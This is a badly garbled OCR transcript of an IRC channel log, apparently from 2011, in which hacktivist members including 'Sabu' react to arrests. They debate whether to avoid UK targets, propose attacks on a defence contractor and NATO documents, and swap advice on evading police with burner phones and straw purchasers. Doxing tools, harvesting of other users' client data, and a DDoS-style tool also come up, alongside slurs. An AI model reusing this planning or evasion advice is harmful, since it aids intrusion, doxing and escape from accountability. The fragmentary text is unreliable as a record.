26 <@Sabu> so he must have fucking 

26 < @Sabu > triggered an alert 

26 <^^H oic and that guy who leaked AT&T stuff too. But all of the "regulars 
e have reported back? 

27 <©Sabu> yup 

27 <@Sabu> the only one missing is but hes been afk since lulzsec broke 

a month ago 

nice, ye I know that. But I guess knows how2stay safe. 

I'm going to tweet from @LulzSe^tnat hasn't been with us 

can't confirm anything 

has quit [Ping timeout] 

I agre 




I just tweeted two things 
let's just play it like they got the wrong 

it probably helps that he's 16 

44 <&Sat 

44 < @Sabu> le ts also work on the sun mail thing today 
you handle that 

project doesn't really interest me 
I mean it's a fun idea and all 

has joined #! sunnydays 
by ChanServ 

my brother 

02 <©Sabu> everythi ng good on your end? 

03 < ^J^J yes, everything fine 
09 <€B^H any confirmations on the 




story, sabu ? 



10 <@Sabu> not yet my brother, but its not looking to well 
okay 

im away for like 2 hours 

see you later 




has quit [User quit: ] 



blah 



ohai 

everyone abandoned the SILC? 

google news full of hackers stories 
I donts use silc 
27 <@Sabu> lets chill here 
27 <@Sabu> yo 
27 <@5abu> is it? 

27 <@Sabu> nana 



27 <@Sabu> I heard nsa got hacked too 

inclduding one about tali ban in cyberwar 
up 

strangely some links the spread of misinfo about a mullah by 
our murdoch faked article about his dead 
imagines the moment where we will be accused of helping terroristm 
is waiting to see what they charged with 

^^^^^^^^^^^^^Pag^2b^^^^^^^^^^^^^^^^^^^^^^ 
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# lsunnydays.log 
stuff, that is pe rhaps reason for concern 
11:31 <^^^^^^H we have confirmed he was arrested then? 
11:31 <(< 





I 

for it 

the deface page, rather 
doesnt matter anyways they could charge him for some old reasons 
or anothers newer ones 

anyway, it's maybe cause for concern if it's HBGary-related , as 
ocked us all down and are just waiting to pick us off after a few 



11:33 

did a timer 
11:33 <G 
11:33 <G 
and got pwnc 
11:33 <<i 
they may" have 
months of proof-checking 

11:34 < @Sabu> ^^^^J and I personally did the tunisian pm etc 

<@^PI^^^^^B^yep , but nobody will charge hims for thattunisian thing 
<©Sabu> but I guarantee you this is all about infragard or hbgary 
< ©Sabu> bu t heres the thing 

<(£^^^^^ Sabu, if it's about HBary then we have something to worry about 

< @Sabu> OR 

<^^^^M Isf me see if Barr tweeted 
<@SaDu^aont forget he did the ACS: Law attack 
<@Sabu> which is UK 



11 
11 
11 
11 
11 
11 
11 
11 
11 
11 
11 



34 

34 
34 
34 
34 
34 
34 
34 
35 
35 
35 



< ©Sabu> or austrialian? 
<^^^^^H "aaronba rr Aaron 

recent set of #a nonymousarrest^ 
11:35 <<^i^^^^| 11 hours ago 
11:35 < g^B^B " 
11:36 <(c^H^^B yes Sabu, that's 



Barr 

_ listed as arrested today in London in most 
xn .ws/ruwCl9 



UK 



11:36 <(g^^^uk pwnds ppl when they need to express example, i could imagine uk 
govt to order some arrestation to show theyhave the situation under control (like 
after thesun shit) 
11:36 <g«|gh 

11:37 <^^^^^H then we should probably stop hitting UK targets 

11:37 <^^H^^| was essentially an FBI snitch, feeding us FBI emails, he's 

been at tn^^TCr ages 

11:37 <Mp^B but he gets hit just after hitting SOCA in UK 

11:38 <©Sabu> wait, so its ok to hit americans targets while im in AMERICA 

11:38 <@Sabu> but you gimps dont want uk targets hit cause you're in uk? 

11:38 <@Sabu> ROFLROFLROFL 

11:38 <(asabu> Thanks 




stop 



hm..whe should go on knocking their door 

Sabu, there's a difference when we care about our safety whereas 
ecause "we can't turn back" 
_ I've personally expressed this concern before with you 
we dont suffer fear (we shag their wives and daughters, and they 



11:38 < 
11:39 < _ 
you won't 
11:39 <■ 
11:39 <i, 
love it)' 

11:39 <©Sabu> I care about my safety. HENCE. I. AM. NOT. arrested. 

11:39 <@Sabu> Don't you find it interesting I've been doxed 6 different times 

with 6 different names? 

I'm doing mate. 
in SILC room ? 

part of our researching unit a la #buccaneers 
buccaneers i gues 



11:39 
11:40 
11:40 
11:40 
11:40 
11:40 
11:40 
11:40 
11:40 



<@Sabu> I know what 
<^^H who 

<6 




the point of no 
11:40 <(asabu> I 
11:41 < 



been dox'd with 6 different names 6 different times 



'we've passed 



because I express the obvious point of 

return" does not mean I'm suicidal/martyr either 
think you're overrading that point 
then I don't understand why you're bringing up the uSA/UK stuff 
if you think you're untouchable 

11:41 <@Sabu> You think you changing your nick and changing your life will stop 
their investigations? Thats my only point 
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#! sunnydays.log 
11:41 <@Sabu> because its fucking funny 

11:41 <@sabu> that you dont want to hit UK targets because it affects you 
11:41 <@sabu> and yet we're hitting FBI / contractors and it directly affects 
ameri cans here 

11:41 HH^^H [^^^HBD48B2B5.ClF9627F.6FB8A685.IP] has quit [Client exited] 

11:41 <^|^^^H no^v^^e seen in the past that hitting UK targets immediately 
results in arrests (I^H^^^H whereas none of our American hits affect you 



just made 



LET S HIT FRANCE THEN! ! ! 

?Sabu> I personally don't give a shit, if you want to avoid UK targets so 



11:41 <@Sabu> indeec 
11:42 < ©Sabu> th ats whats crazy 
11:42 <^^^^^H that was the point me and | 
11:42 <@Sabu> I made this point earlier too 
11:42 < @Sabu> its OBVIOUS 
11:42 <^^^^H i m for hit everything 

11:42 <@sabu> I don't see why the UK is so obsessed with retaliatory strikes like 
these 

11:42 <@sabu> but, then again, the fact that they hit a day after we hit 

the sun 

11:42 < @sabu> shows theyve been watching him 

11:42 <^|l^| cause uk , sabu 

11:42 < @Sabu> but for how long? 

11:43 < (^^^^ i t s a tradition from empire ages 

11:43 <(£^^|^H so Sabu, surely you see my point that we should stop hitting UK 
targets seeing a s 4/6 of the main crew are in the UK 

11:43 <^^^^^H and they are so willing to strike UK residents only after UK 
hits 
11:43 <(< 
11:43 <^ 
be it mate 

11:43 <@Sabu> is mantech uk? 
11:43 <@Sabu> no? 
11:43 <@Sabu> great 
11:43 <@Sabu> lets do that one up 
11:44 <(asabu> 500mb of nato docs 
11:44 <©Sabu> right? 

11:44 <@Sabu> NATO affects both US and UK, though 
_ now 

ow do we approach that situation then? 

one second 
wtf 

wants to express france nevers was attacked enough 
look 

if they were able to arrest 
1 day after the sun 

that means that they had him on the radar 
and that at some point 
he would be arrested anyway 
is that a reason to let them scare us away? 




fucki ng 



11:44 
11:44 
11:44 
11:44 
11:44 
11:44 

11:44 <(asabu> no 
11:45 <(< 



it's like the entire 

i nterne t laws" a rgument 
11:45 <€p^HHl that is my exact point 
on radar for months, but they only 
a point to defend the UK 

it'll only make it go 



'you guys are the cause of stricter 

the UK police had and 



nt them after we hit UK targets, to make 



11:45 < 
11:45 < 
11:45 < 
targets 
11:45 < 
11:45 

< 

11:46 <' 
11:46 <' 
11:46 
11:46 
11:46 
11:46 





a bit faster 
once you step out of line you're fucked anyway 
so I don't see why that would mean we would have to avoid 

in a specific country 
I just don't want to hit the UK government today and see 
or myself hit tomorrow 
because that's the pattern we're seeing 

^H^^l you know what that means? 

tn^^nei r strategy WORKS. 

that people are backing off 

from the UK 

being afraid of consequences 
it means they win. 
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11:46 <' 
11:46 < 
11:47 < 
11:47 < 




# lsunnydays.log 

you are basically letting them win from you. 

u cant live with fear 

I have no problem in letting other people, er, 



'win", in order 



for 4/6 of our UK-based crew hit out of proving a point 



11:47 
11:48 
11:48 
11:48 
11:48 <' 
11:48 <' 
11:48 <' 
11:48 <' 
11:48 <' 
11:48 
11:48 
11:49 
11:49 
11:49 
11:49 <' 
11:49 <' 
11:49 <' 
area an 
11:49 <' 
11:49 <' 




that 



s not life 

l^^^^l if 4/6 of the UK crew would be hit 
^^yoL^uys do shit 

that means you don't have your own safety in order 
the problem here is that they can find you in the first placfe. 
like 
placeT 

n 

jesus Chri st, ignore my shitty typing, just woke up 
I had pinned as the safest of all of us 

and wna^i f knew who was? 

that's why we^e waiting on tne M et report 
to establish how they found 

the point is 

and I am going to assume here 
that it was through 
I can understand everyone else not freaking, but I'm in the same 



11:49 < 
11:49 < 
11:49 < _ 
because of some 
11:49 < 



same ISP as 

that 

1 was imprisoned 



right now, and I want to know how they got him 
NOT take care of his own security well enough 

(and worse things) many times guise cause doing 

shits in diff countries, i will not stop 

summarizing the whole opsec thing 

go fuck themse Ives 

I too would like to know if they got him because of or 
ISP-level sniffing 

'never tell people more than strictly needed for the op' 

tl;dr 

the problem here was that would know who was 

if that is indeed the case 

side 




undertake 



sure they CAN not be hit 



and that is a fault on 
we'll just have to wait and see 
if most of your UK crew is threatened by arrest if you 
then you shouldn't be backing off - no, you should be making 




11:52 < 
11:52 < 
11:53 < 

11:54 < 

AT&T documents 
after him 
11:54 < 
11:54 < 
11:55 < 
situation 
11:55 < 
11:55 < 
11:56 < 
11:56 < 
11:56 < 



as we talked with H^^l we should get more infrastructure 
if u r able to fil^tne burocracy forms and shits 
i have some bucks to get something 



also, 

new* he wou 




a reminder... the guy who initially leaked the 
get in trouble, and most likely have authorities 
that didn't stop him from leaking 

H^g^^ i agree with u in all points 
DL^^niave to remember like yesterday 

uk use to have diff methods all of them up to each particular 



like the gchq hackers cut in pieces back to summer 2010 
in london 

(he was also under and he was leaking shits) 

hacker* (one guy) 

Sabu> I'm back from taking a massive shit 

100% agree with you my brother 




11:56 <@Sabu> but 

11:57 <@Sabu> its just sai 
11:57 <' ■ ■ 



that 



ok, he was a gchq agent 



did get knocked because of 



11:57 <@Sabu> gchq? whats that? 
11:58 < 

11:58 < _ 

11:59 <@Sabu>~oh I 
12:02 < 
12:03 




electronic intelligence of uk 
works with mi 5 and mi 6 

see 

google about him 

kerpia-E5807C43.perfect-privacy.com] has joined 

#! sunnydays 

12:03 mode/#! sunnydays [+o ^^^^^^ by ChanServ 
12:04 <@Sabu> sup av<3 

12:04 <@Sabu> missed you oddly enough bro 
12:04 <@Sabu> haha 
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12:04 < 
12:05 < 

12:05 < 

http://cach 
ea5fd84/340 
12:06 < 
12:09 < 
12:09 < 
12:09 < 
12:10 < 
12:10 < 
12:10 <' 
12:10 
12:12 <_ 
uploadi ng 
12:12 < 
12:12 < 
Baby's 
12:12 < 
12:13 < 
12:13 < 
12:13 < 
12:13 < 
12:13 < 
12:13 < 
12:14 <' 
12:14 <' 
12:14 < 

12:14 < 

[Ping timeo 
12:14 <' 




\0 

hai thar 



#! sunnydays .log 




n me 




gawRer.corn/assets/images/comment/7/2011/07/fbc7266c940acb62bdef41f82 

jpg 

HOW are ya sabu? 

idk if you guys can listen to this mp3? 
http : //CS4656 . vk . com/u2 5 516669/audi o/cabOaabbf 4a0 . mp3 
it may only work for my IP :P 
404 
bleh 
sec 

reuploads 

_ I <3 chromes download bar in combination with drag and drop 
Taf i re 

it literally takes like 2 clicks to reupload something, lol 

The Prodigy v s coo l Project feat. Fast Foot vs T&F Project - 

Temper vs omen (dj nrg Mashup) - <lot of russian crap here> 
http : //www . mecm^ re . com/?kuf 21tm61 y5chww 
hi bro 

ave someone news from and ^^^^^^^ :-\ 

_ is on holiday 
was around yesterday 
are you sure? last night quitted with ping timeout 
him and 
ere anc^^^aoDer :-\ 
<BB|22:56 

t^<ing wiT? 
<^H00:15 ■ 





has quit [Ping timeout] 
has quit 



so it's wei rd : C 

i asked him to send a text to 
said 2 days ago hec 




asking to join 
holiday the next day 
quitted too after 15 min or so via ping timeout 

and i were talking to parmy together yesterday but that was 



12:25 
12:25 
12:25 
12:25 



no good :-\ 

someone have a chance to contact 
□> its all about that goatsecks 
so 

it seems 

that anonplus got pwnt 
before it even went up 
http : //www . anonpl us . com/ 
I warned them before... 

"this is going to be pwnt faster than you can say 



guys, stop using phones between us 
at least they r cloned stolen or something 

if you want to use phones 

use unreffered pads 
use throwaways 

prepaid sims bought in person at a store 

as i nbox 

that you do not have to activate 
with an unregistered phone 
and don't use them the first X months 
and always turn off phones when not using them, 
y stolen cellphones to pakis and with prepaidsims 
tl;dr phones are unsafe 

ol 

rom pakis* 
actually no 

if they can figure out where it went 
and that person happens to remember you... 
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#! sunnydays .log 

buying in a store is pretty much a guarantee that noone 

recognizes you except the security tape - which is why you don't use it the first 
months 

12:27 <^^^^| send ajunkie from the street to do your shoppings in exchange ffor 
few bucks 

12:27 <@Sabu> yeah the number calls me is google voice -> prepaid phone with 
the name "bob, bob" 
12:27 <©Sabu> 1ol 

<©Sabu> gsm garbage, and I live in a place very hard to triangulate 
<©Sabu> only mistake I did was allow to call me once 

<@Sabu> hes a twat. he probably recoroea it 
<@Sabu> and saved it on his desktop as 
<©Sabu> sabu-evidence-voice.wav 
rofl 

ut i agreed that phones in general are evil, better to avoid 
also, be careful with the info you release 
<Sabu>gsm garbage, and I live in a place very hard to 

triangulate 
12:29 < 
12:29 < 
12:29 <(c[Sabu> 
fucking man 
12:30 < _ 
basic a ssho les 

12:30 <(^H^^VH point being that location is an indication of where to look, 
and the trmigabout could be an indication to search for things on 

'cr^or before 



shit they didnt searc 



12 
12 
12 
12 
12 
12 
12 
12 
12 



28 
28 
28 
28 
28 
28 
28 
28 
29 





<Sabu>only mistake I did was allow to call me once 

that was two bits of info we didnt neea >.> 
you can triangulate me out of 18,000,000 people then you are the 



12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 



30 
;30 
;31 
;31 
;38 
;38 
;38 
;38 
;38 
;38 
;38 
;39 
;39 
;39 
:41 
:41 
people, 
12:43 < 
12:44 
12:44 
:44 
:44 
:44 
:46 
:46 
:47 
;47 
;48 
;50 
:51 
:51 
;51 
;51 




hm my father always said to me 'dont trust ppl from essex, they r 



Sabu> 
<(asabu> 
<@Sabu> 




assuming some authority is reading all this 
which you should always assume 
asic non educated assholes*, to be exact 
lolo 
yeah 

you know whats funny 
re sounding exactTy 
lol 

I know 

he made this exact point 
and it makes sense 
especially with uk/us/nl 
effectively cooperating* 



you 



etc etc 



is working on doxtool v2 
anyone has any suggested 



right now 

a while ago 

cooperating at this point 
sites where you can lookup domains, 




that u havent included yet? dont know., 
inurl :twitter.com & "personS" 

7 

mm, there's things like pipl already 
afai k 

that do that 



has quit [Ping timeout] 



uhm 

Sabu watches 
<©Sabu> lol 
lol 



react to ping timeouts 



12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 
12; 

Ti meout^ 

12:51 <^^H^^H what happened with ^^^^ 

51 < (^^B and him isnt re contact me 
^1 <^^l same happened in jabber 

51 <@Sabu> 12:36 ^^^H Starting query in 93 with 
51 <@Sabu> 12:36 ^m^Slu sabu 

51 <@Sabu> 12:36 <^^^| i want to know if you received a message yesterday 




vps 



well i tried tog et a 
and i failed 
guys 

; my bro, i was talking with 



when him quitted via Ping 



12; 
12; 
12; 
12; 
12; 

about "phtoshop curve's 
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#! sunnydays .log 

12:51 <@Sabu> 12:36 <^^B :) 

12:51 <@Sabu> 12:37 <Sabu> no I havent 



12:51 <@Sabu> 12:37 

screenshot about Fake xarxas 

12:51 <(asabu> 12:37 

12:51 <@Sabu> 12:37 

12:51 <(asabu> 12 

12:51 <©Sabu> 12 

12:51 <(asabu> 12 

12:51 <@Sabu> 12 

12:51 <@Sabu> 12 
12; 

12:51 <@Sabu> 12 




51 <@Sabu> 12 : 50 <Sabu> oh yes 



go to the jester blog, open photosho, in the 

he hidden the adress bar 
open Photoshop 
use curves 
comes out 
"yjorgan" 
good luck guy 
i hope it help 



12:51 and 
12:51 <@Sabu> grab jesters 




NO such nick/channel 
as 1 know do not use vps 
pic and use plugin curves 



12:51 <@Sabu> see wtf is that yjorgan about 
12:52 <@sabu> would be funny if it ties back to ester 



12:52 
12:52 
12:52 
12:52 




12:52 <@Sabu> where is 
< 
< 



12:52 
12:52 
12:52 
12:52 




So I'm guessing you've heard about 

guys 

sup with ^^^H 

<^^^^| S^^^ guessing you've heard about 

sne at? 

here 

this server 
sec 

ill let her join a chan 



< — 



12 
12 

13:00 



ah 

parmy 
Sabu: 

I think that what that curves thing would do 

is guess the letters 
based on the not blacked out remainder 
or something 

I could imagine a computer is much better at that than a human 

curves is for tunning shadows highlights in a picture 
59 <@Sabu> well play with it, see if you see what that guy sees 
59 < @Sabu> cause it might be a fac tor in fi guring out who this twat is 
can u imagebin the pic 
■g^l what pic? 
^3e^er one 
idk where it is even 
ask Sabu 
:P 

..do u think parmy talks with the police? or she just doing 

enough securized? 




snitches 

13:44 <(cfsabu>~ parmy is media, shes sate in many ways 
13:45 <@Sabu> I'm sure she double dips but wont give us up 
13:45 <©Sabu> plus shes writing a bbook, she is hanging off our dicks for it 
13:45 <@Sabu> as for I trust in ^^^^H but we need to figure out h 

they got 

obviously dont give your full name and addres s to p army 
Netsp lit kerpia.crytq.net <-> nexus.cryto.net quits: 

journalist 




but shes ok fo r a 

Netsplit over, joins: <S^^ 
Netsplit kerpia.cryto.net 



<-> nexus.cryto.net quits: 



17.597 ms * 



wat 
wtf 

Netsplit over, joins: 

I need to find e^CTution 
to this shit 
srsly 

5 vl835-rtl-ldnl.core.noris.net (213.95.14.1) 



17.575 ms 
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13:55 < 
13:55 
13:55 
13:55 
13:55 

110.167 ms 
13:55 < _ 
28.640 ms 
13:55 < 
17.414 nis 
13:55 < 
147.311 ms 
13:55 < 
147.667 ms 

13:55 < 

110.056 ms 
13:55 < 
ms 110 
13:55 < 
13:55 
13:56 
59 




15:00 
15:00 
15:00 
15:00 




#! sunnydays .log 

6 * * * 

7 * * * 

g * * * 
g * * * 

10 * core-a.c55.wiresix.net (206.220.172.2) 109.984 ms 

5 v1835-rtl-1dnl.core.noris.net (213.95.14.1) 28.590 ms 
ms 

6 1inx.gel-0.cr01.1hr01.mzima.net (195.66.225.15) 17.460 ms 

177450 ms 

7 tel-3.crl.was2.us.packetexchange.net (69.174.120.97) 

14b. 077 ms 146.024 ms 

8 tel-3.crl.at11.us.packetexchange.net (69.174.120.53) 
25 ms 144.595 ms 

9 abte2-l.10g.co1oat.cust.at101.mzima.net (67.199.136.182) 

110.022 ms 110.081 ms 

10 core-a.c55.wiresix.net (206.220.172.2) 110.027 ms 109.938 

ms 

thefuck 
is this shit 

seems packets aren't exchanging that well.. 

etsplit kerpia.cryto. net <- > nexus.cryto.net quits: ^ 
etsplit over, joins: ^^^H 

0 

Sabu 
di ng 
here? 

[^^^^^^^^^1 has joined #! sunnydays 

hey! ! ! ! ! ! 

all good ?! 
wel 1 . . . 

mah kitteh is gone away for next 2 weeks 
ave ^^^^^^ sent a text to you yesterday night ? 
unm^iope, ill check my phone tho 
I never check my phone xD 
I am nnot sure if he has my newest number 
ohai ^^^^^J 
ohai ^H^^^ :) 

wn^^was happening? 
you may 1 i ke thi s : 
com/vi ew/bl026x5qu . html 
^g^H - I like it! 
that IS VERY nice! 
still working on it though 

most importantly it needs a way to close tabs 

lol 

1o1, that may be important. 
a1 so 

click the Copy this page link 
:D 

has joined #! sunnydays 

mode/#! sunnydays [+o by ChanServ 

that page wi l^aiTtomati cal 1 y show 
the newest source 
of the page 

ah, so if I refresh it after u update 
I get the update 

wel 1 

basically 

it works like javascript loic 
you can just copy the page source 
modify it however much you want 
or leave it intact 
and upload it anywhere else 
it's all in the same page 
no external files 
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#! sunnydays .log 
except for jquery from googi eapi s . com 
at are you talking about? 

and it will run on any server that allows static html 
it's fully clientside 

^■H http : //pastehtml . com/vi ew/bl026x5qu . html 
tTTar I *want* people to take the source, improve it, and 

'6 themselves 

and have tons of copies in existence 
much like javascript loic 
ah :D 

also, what that copy thing does is do an ajax request to the 

get the page source through that 
and paste it in the textarea 

so the textarea will always have the source of the current page 
Interesting. . . 

thinking of something though 
or rather 

trying to think :P 

paypal is fucking mad at anonymous 
obv 

_ is absolutely fucking clueless as to why his paypal account 
yet 

|kerpia-A87C441. perfect-privacy. com] has joined #!sunnydays 
|kerpia-A87C441. perfect-privacy. com] has quit [User quit: ] 

^ has quit [Ping timeout] 

"'Sighs'" I hate installing via cpan 
In fact 

I kinda HATE perl 

[J ker pi a-A87c4 41. per fect-privacy .com] has joined #!sunnydays 
le/^^unnydays [+o by ChanServ 

Sabu: as i said 

http : //tTarisl ate . googl e . i t/t ransl ate? j s=n&prev=_t&hl =i t&i e=UTF-8&l ayout=2&eotf =1& 
si =i t&tl =en&u=http%3A%2F%2Fwww. zeusnews . com%2Fi ndex . php3%3Far%3Dstampa%26cod%3Dl5 
283 

The anti -caste is a politician. 



15: 


02 


<@ 


15: 


02 


<q 


15: 


02 


<^ 


15: 


03 


<@ 


15: 


03 


<@ 


15: 


03 


<^ 


uploac 


1 i 


15: 


03 




15: 


03 




15: 


03 


a 


15: 


03 




current 


15: 


03 




15: 


03 


4 


15: 


04 




15: 


07 


< 


15: 


07 


< 


15: 


07 


< 


15: 


07 


< J 


15: 


09 


<@ 


15: 


11 


<(g 


15: 


11 




isn't 


su 


15: 


28 


<@, 


15: 


29 




15: 


29 




15: 


31 




15: 


43 




15: 


43 




15: 


43 




15: 


43 




15: 


44 


k 


15: 


46 




15: 


46 






15:50 < 
15:50 <' 
15:54 
15:56 
16:05 < 
16:05 < 
16:05 < 
16:05 < 
16:08 < 
16:08 < 
16:08 < 
16:08 < 
16:08 < 
16:08 < 
16:09 < 
16:09 < 
16:09 < 
16:09 < 
16:09 < 
16:10 < 
card, a 
16:11 < 
16:12 < 
16:13 < 
16:13 < 
16:18 < 
16:18 < 
16:18 < 
16:18 < 
16 : 18 Hi 
16 : 20 ~ 



A 




has quit [Ping timeout] 

you guys see the videos of cveitch btw? 
ALMOST done :D 

10 more minutes and Im done with this idiocy 
:D 

(compiling LOTS of shit) 

? 

^^HjlH - fresh Linux install 
nee^to rei nstal 1 my tools 
AGAIN 
ah 

why? 

well, I rebuilt my netbook again 
bigger hard drive 
wiped the old one, im kind of 
making a Div laptop 
ah 

I am waiting on a metal foam lined briefcase, a new wireless 
a "daughter board" for an Acer Aspire One before I finish it 
:o 

Basically, two netbooks, one keyboard, one mouse 
taking the shit cheap KVM thing apart to fit it in 
it is for fun :) 
hah 
nice 

Best run, bus 
1 11 be back 

[^^^^BP^^B has quit [user quit: Leaving] 
justemaTTeatreesheets maker 
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16:24 < 
17:18 < 
17:18 
17:18 
17:19 
17:24 
17:24 
17:24 
17:24 
log leak' 
17:24 <' 
17:24 <' 
17:24 <' 
wrong 
17:24 < 
to die 
17:24 < 
england, 
17:24 <' 
17:24 <' 
17:24 <' 
17:24 <' 
17:24 <' 
17:24 <' 
17:24 <' 
17:24 < 

17:24 < 

wasbullshit 
17:24 < 




#! sunnydays.log 

apt-get k1 1 1 t hedamnthi ngw1 thf 1 re pulseaudio 

ave u installed a ssd hd ^^^^^ for u netbook? 
oh too late 
lol 

hahahah an hour too late 

this is 

i nteresti ng 

http://maio.me/logs/maiome-2011-06-21. log 



uk 





[01:57:10] 

[01:57:16] 
[01:57:20] 
[01:57:26] 

[01:57:31] 

[01:57:33] 

[01:57:35] 
[01:57:38] 
[01:57:48] 
[01:57:50] 
[01:58:01] 
[01:58:25] 
[01:58:28] 
[01:53:30] 
[01:53:42] 

[01:53:45] 
[01:53:56] 
[01:54:06] 
[01:54:13] 

[01:54:23] 




was however involved in the 

and provided some dox on them 
whi ch? 

all the info out on is 



I highly doubt wants 

she lives in doncaster, 

sap 
s a gi rl 
sabu however 
s quite fucked 
lool 

i dont know 

wel 1 . . . 

s just say 
i thought the jester 

until he pulled ^^^^H dox 

lol 

ready had 1 run in with 
lives in fucking 



got nothing on ^^^g 

what's your net push? 
1 to I d you i dont have one 
oh, right 

mine, back before i burned the 




was upwards of SOgbyte 
nicee 
yeah 



[01:54:32] 
[01:24:08] 
[01:24:15] 
[01:24:29] 
[01:24:31] 
mg anonops 
[01:24:37] 
[01:24:44] 
[01:24:56] 
[01:25:01] 
[01:25:04] 
[01:25:07] 
[01:31:56] 
[01:31:58] 
[01:31:59] 
[01:32:07] 

[01:32:11] _ 

shells they use" 
[01:32:15] 
[01:32:19] 
[01:32:26] 

[01:32:3 3] 

^^^^^1 lives in 
wut 

http://maio.me/logs/ 

methinks there might be some surprises in here 
wgets -r that directory 

as in lol surprises or wow they doxed us surprises 
as in hmmm I thibnk there is stuff in here that ■ 



e ddos prot service 
was down for 3 days 

you hit anonops? 
yeah 
ard 

_ Did they rage? 
and helped to leak all 

and stole their domains 
they raged hard 

and spent thousands of dollars 

LOL 



didnt want 



to be public 
17:27 <S 
17:30 <G 



think* 

[05:40:55] <" 



:#maiome. lobby> so 
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17:30 < 
17:30 < 
17:30 < 
17:30 < 
'xchat 

17:30 < 

'http://www.mi 

17:30 <' 

'http://www.ttn 

17:30 <■ 

'http://www.mi 
17:30 <' 
17:30 < 
6.7.10 
17:30 < 
V6.35 

17:30 <_ 

too lazy to edi 

17:30 < 




[05:41:00] 
[05:41:07] 
[05:41:09] 
[05:41:13] 
Tndows Vista 
[05:41:15] 
it.com ajax I 

[05:41:15] 
it.com ajax I 

[05:41:15] 
it.com ajax I 
[05:41:15] 
[05:41:15] 
010 by 
[05:41" 

')] 
1:15] 
this field. 
[05:41:15] 



#! sunnydays .log 
<" ' :#maiome.lobby> im data harvesting anonops 
<Hexane:#maiome.lobby> anything good/ 
<Hexane : #mai ome . 1 obby> ? 



< " : #mai ome . 1 obby> 
[Intel /l,66GHz] ')]" 



[('VERSION' 



< 

RC 

< ' 
RC 
< 

RC 

< 



#maiome. lobby> 
Client: 3711: 3711" 
:#maiome. lobby> 
Client: 3711: 3711^ 
:#maiome. lobby> 
Client: 3711: 3711 
:#maiome. lobby> 
:#maiome. lobby> 
(www. ntal k" 
man ome.lobby> 



[('VERSION' 



[('VERSION' 



[('VERSION' 




< " : #mai ome . 1 obby> 
)] 

< :#maiome.lobby> 



4.0.4 svn-5( 
Edition Service 
17:30 <^ 
17:30 <^ 
17:30 <' 
17:30 <' 
17:30 
17:30 
17:30 
17:30 
17:30 < 




[05 
[05 
[05 
[05 
[05 
[05 
[05 
[05 
[05 



41:15] <" ' :#maiome. 
20110308 - buil 
uild 7601)")] 



lobby> 
d 2011- 




[('FINGER' , 
[('VERSION' 



')] 

'Nettalk 



[('VERSION', 'miRC 



[('USERINFO' , "I'm 

[('FINGER' , 

[('VERSION', "KVlrc 
52 UTC - Ultimate 



:41: 
:41: 
:41 



23] 
31] 
32] 




20050921 Linux 



41:36] 
41:40] 
37:36] 
37:38] 
42:09] 
42:09] 
) 
] 



< : #mai ome . 
<' : #mai ome . 
<Hexane:#mai 
< ' : #mai ome . 
<' ' :#maiome. 
<Hexane:#mai 
<Hexane:#mai 

< " : #mai ome . 
<' ' : #mai ome . 
Idle 1 secon 

< : #mai ome . 



generic-pae : i rci i -debi an 



lobby> all i got so far 

lobby> the bot waits for people to talk 

ome.lobby> cool . 

lobby> so it doesnt alert the opers 
lobby> that this is going on 
ome.lobby> . . .lol 
ome.lobby> nice work. 
lobby> [('USERINFO' 
lobby> [('FINGER', 
d ')] 

lobby> ^^^H [('VERSION', 
inTuCJS] 



')] 



;i015-2; 



' 1 rcll 
AT&T you wi 1 1 




[05:42:11] <"":#maiome. 
[05:42:14] < ' :#maiome. 
this was in #antisec 
I remember this 



lobby> OWNED HARD 
lobby> ANON NO MORE 




sunnydays 
the minimum 



18:03 
18:04 
18:04 
18:08 
18:09 



has joined #! sunnydays 

y ChanServ 

ave to do at least would be 

(password protec ted scr een) accesible from at least from 
I know that didn't care 

about people Known ng who he was 
also he's actually sort of cute 

XD 

guess theres no sense to do workshops about security if none pay 

back 
people ? 
ya 

you know 

there is a guaranteed plan to financial success 
you just have to screw over enough people before people find 

so that you can then proceed to use the money you earned 

to get you out of whatever shitty situation you end up in 
with expensive lawyers and whatnot. 

as long as you screw over enough people before they find out, 
y go wrong. 

mumbles something about sad state of society 

yeah . . . 
sucks 
yo yo 
hi 
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18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

#!s 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

sao 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 

18 



Hi'' 



#! sunnydays .log 

I j ! ! ! 

me paranoid you nig 



09 <@Sabu> 
09 <@Sabu> 
09 <@Sabu> 

09 <@Sabu> 

10 < @Sabu> hows everything looking? 
10 <^H^H concerned about 
10 <^^^^H if will shop al I pp 

10 < ^B^J wel^^T 

11 <(cM^^ hope h e s secured enough 

12 g^^Bkerpia-76DAl9A4.desu 
lyoa 



e knows 



i .wish. i .was. japane.se] has joined 



unnydays 



12 
13 
14 
15 
15 
15 
15 
16 
16 
16 
16 
17 
18 
18 
18 
18 
22 
28 
28 
29 
30 
30 
30 
31 
31 
32 
33 
37 
37 
37 
37 
37 
38 
38 
39 
40 
40 
40 




any news about l^^l : (? 
parmy was lool^ig for u 
know i tlkd to her earlier :D 
ok 
so 

someone was impersonating Sabu 
on adr3nalin3 

^^^Saiming was arrested etc 

https : //bi n . ossDox . com/a6CEnCZPQ4dl 23oHpctmaY 

password sabu 
s tht/ 
it's an encrypted paste 

log of Sabu impersonator 

Tscooinn^en^Te homemade lasagna for 
sabu <3 :D 

ty : 3 <3 

so o^Je know anything about or? 
seems so 

^^^^^■1 has personal info about u? 
o^sometmng could be useful to find u? 
main theory is about he shopped 
no knows nothing about me 

tbh^^<ep away from i never trusted him 

kk<3 

has joined #! sunnydays 

mode/# ! sunnydays~[+o~^^B by ChanServ 

so you guys think tnats actaully or? 
i hope not : ( 
i think so 

altough i did not know him. but from what i 've heard 
e/#! sunnydays [+o by 





u> my brother 

supSabu 

41 < @Sabu> relaxing 

44 <^|^H Sabu is is possible to get a vps connected close to the node of 
paul^^^^ 



45 
45 
45 
45 
45 
45 
45 
46 
46 
46 
46 
46 
46 
46 
46 
46 



what is sao paulo 
iSabu> city in brazil 



< 

<| 

<@Sabu> 
<@Sabu> 

<| 
<| 
<| 
< 



:o? 









^tTns 




mp3 



Sim 

